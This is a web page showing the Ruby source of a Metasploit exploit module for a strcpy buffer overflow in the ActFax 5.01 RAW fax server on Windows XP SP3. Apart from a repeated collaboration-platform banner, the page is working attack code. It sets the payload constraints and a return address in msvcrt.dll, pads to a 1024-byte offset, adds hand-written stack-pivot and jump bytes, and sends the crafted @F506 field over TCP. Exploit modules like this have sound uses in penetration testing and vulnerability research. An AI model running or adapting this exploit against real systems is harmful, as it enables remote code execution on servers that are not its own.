Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/actfax_raw_server_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',13'Description' => %q{14This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW15Server can be used to transfer fax messages without any underlying protocols. To16note significant fields in the fax being transferred, like the fax number or the17recipient, ActFax data fields can be used. This module exploits a buffer overflow18in the handling of the @F506 fields due to the insecure usage of strcpy. This19module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).20},21'License' => MSF_LICENSE,22'Author' =>23[24'Craig Freyman', # @cd1zz # discovery and Metasploit module25'corelanc0d3r', # Metasploit module26'juan vazquez' # Metasploit module cleanup27],28'References' =>29[30[ 'OSVDB', '89944' ],31[ 'BID', '57789' ],32[ 'EDB', '24467' ],33[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]34],35'Platform' => 'win',36'Payload' =>37{38'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",39'DisableNops' => true,40'Space' => 1024,41'EncoderOptions' =>42{43'BufferRegister' => 'ECX'44}45},46'Targets' =>47[48[ 'ActFax 5.01 / Windows XP SP3',49{50'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll51'Offset' => 102452}53],54],55'Privileged' => false,56'DisclosureDate' => '2013-02-05',57'DefaultTarget' => 0))5859end6061def exploit62connect63p = payload.encoded64buffer = p65buffer << rand_text(target['Offset'] - p.length)66buffer << [target.ret].pack("V")67buffer << "\x89\xe1" # mov ecx, esp68buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -102869buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -450070buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-104271print_status("Trying target #{target.name}...")72sock.put("@F506 "+buffer+"@\r\n\r\n")73disconnect74end75end76777879